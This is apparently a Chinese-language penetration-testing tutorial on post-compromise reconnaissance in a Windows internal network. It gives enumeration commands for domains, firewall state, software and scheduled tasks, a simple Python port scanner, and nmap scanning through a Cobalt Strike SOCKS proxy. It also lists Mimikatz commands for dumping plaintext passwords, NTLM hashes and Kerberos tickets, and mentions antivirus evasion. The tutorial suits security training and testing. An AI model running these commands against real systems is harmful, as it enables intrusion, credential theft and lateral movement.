内网渗透-信息收集篇
通过webshell或其他方式拿下一台机器,并且存在内网环境,这个时候就在准备进行内网渗透,而在内网渗透之前需要对本地机器进行信息收集,才能够更好的进行内网渗透。
目录
Windows本地基础信息收集
权限查看
判断域存在
查看防火墙状态
计算机基础信息
扫描网段
使用脚本扫描
nmap扫描
cs、msf扫描网段
WMIC信息收集
抓取密码
Mimikatz抓取密码
Windows本地基础信息收集
权限查看
判断是否在内网渗透之前进行提权。
whoami /all
判断域存在
可以利用/domain命令判断是否存在域。可以联合net user 用户 /domain查询用户的详细信息,且判断是否存在域,不存在域会报错。
net user 用户名 /domain
- 用户名
- 全名(如果有设置)
- 描述
- 密码信息(是否需要更改密码、密码过期等)
- 上次设置密码的时间
- 账户激活状态
- 账户过期时间
- 用户所属组(本地和全局组)
- 上次登录时间
其他命令:
net view /domain #不存在域报错
ipconfig /all #判断存在域,看DNS后缀
systeminfo #会列出所处的域
net config workstation #查看"工作站域"中显示 登录组 还是 域,是域的话会显示你登录的域名
定位域控主机
ping 域名
nslookup 域名
查看防火墙状态
netsh advfirewall show allprofiles
计算机基础信息
- 系统信息:检查操作系统的详细配置信息,判断是否有可以利用的操作系统版本、补丁。
systeminfo
- 进程情况:可以通过进程列表判断是否存在杀软
tasklist
- 软件安装情况:查看是否有第三方工具可以进一步留后门或提权
#建议使用wmic工具,速度快
wmic product get name,version
#更详细
wmic product list brief | more
- 计划任务:可能会看到一些敏感信息,比如需要对某些机器进行交互可能会看到密码之类的定时脚本任务等
schtasks
- 网络连接情况:可能会发现内网数据库连接之类的情况
netstat -ano
扫描网段
使用脚本扫描
可以自写脚本或者利用网上已有的扫描脚本进行扫描。php,python,perl,ruby,java,c等程序都可以用来做端口扫描,同时还可以使用bat或者shell脚本来做扫描。
#!/usr/bin/env pythonimport socketdef get_ip_status(ip,port):server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:server.connect((ip,port))print('{0} port {1} is open'.format(ip, port))except Exception as err:print('{0} port {1} is not open'.format(ip,port))finally:server.close()if __name__ == '__main__':host = '10.0.0.1'for port in range(20,100):get_ip_status(host,port)
nmap扫描
关于利用nmap扫描首先可以通过webshell上传nmap到目标机
#扫描内网有多少主机在线
nmap -sP ip
#端口扫描
nmap ip
在上传不了nmap的情况下也可以通过代理不上传远程使用nmap
比如利用CS代理+proxychains+nmap进行内网扫描:CS开启socks4代理(只能使用tcp协议),所以使用nmap时要使用-sT命令选择tcp协议,要使用-Pn不使用ICMP的ping确认主机存活。
#CS开启socks协议
socks 监听端口
#在攻击机上进行nmap代理扫描
proxychains nmap -sT-Pn ip
分块(f)、时间延迟(delay)、指定已知端口扫描、、、、
cs、msf扫描网段
cs、msf都是常见的内网渗透利用工具,有专门的模块进行端口扫描。
WMIC信息收集
上述的基础信息也可以通过wmic来进行信息收集,wmic是Windows系统自带的功能,负责管理Windows系统的方法和功能。
#检索系统已安装的软件
wmic product list brief | more
或者
wmic product get name,version#检索系统运行的服务
wmic service list brief | more#搜索查看进程信息
wmic process list brief | more#搜索启动程序
wmic startup list brief | more
或者
wmic startup get command,caption#搜索共享驱动盘
wmic netuse list brief | more#搜索用户账户
wmic useraccount list brief | more#搜索计算机域控制器
wmic ntdomain list brief#搜索登录用户
wmic logon list brief | more#搜索已安装的安全更新
wmic qfe list brief | more
抓取密码
Mimikatz抓取密码
Mimikatz是一款用于提取Windows系统中用户凭据的开源工具。
Mimikatz原理:Mimikatz通过逆向获取存储在lsass.exe进程中的明文登录密码。(lsass.exe用于微软Windows系统的安全机制,它用于本地安全和登录策略)。首先使用Mimikatz抓取时必须是管理员权限,在Win10、Win11、Win2012等版本中,系统会开启LSA保护,明文密码字段会显示null。
这里另外提提有关lsass.exe的本地身份认证过程:
首先,用户注销、重启、锁屏后,操作系统会让winlogon.exe显示登录界面,也就是输入框界面,接收用户的输入信息后,将密码交给lsass进程,这个过程中会存一份明文密码,然后将明文密码加密成ntlm hash值,对SAM数据库(SAM数据库包含所有组、账户的信息,如密码hash、账户的SID等)进行比较认证。
#提权
privilege::debug
#抓取明文密码
sekurlsa::logonPasswords
#导出lsass.exe进程中所有的票据
sekurlsa::tickets /export#列出系统中的票据
kerberos::list
#清除系统中的票据
kerberos::purge
#导入票据到系统中
kerberos::ptc 票据路径#(在域控上执行)读取所有域用户的哈希
lsadump::lsa /patch
#从sam.hive和system.hive文件中获得NTLM Hash
lsadump::sam /sam:sam.hive /system:system.hive
#从本地SAM文件中读取密码哈希
token::elevate
lsadump::sam
其实获取本地数据库信息的方法有很多种,比如除了Mimikatz抓取,还可以使用pwdump、powershell抓取。
由于Mimikatz的强大,各大系统对于Mimikatz的防护也是越来越强大,可以去了解一下关于Mimikatz的免杀,参考文章Mimikatz的使用及免杀方向(过360,火狐和WindowsDefinder) - 渗透测试中心 - 博客园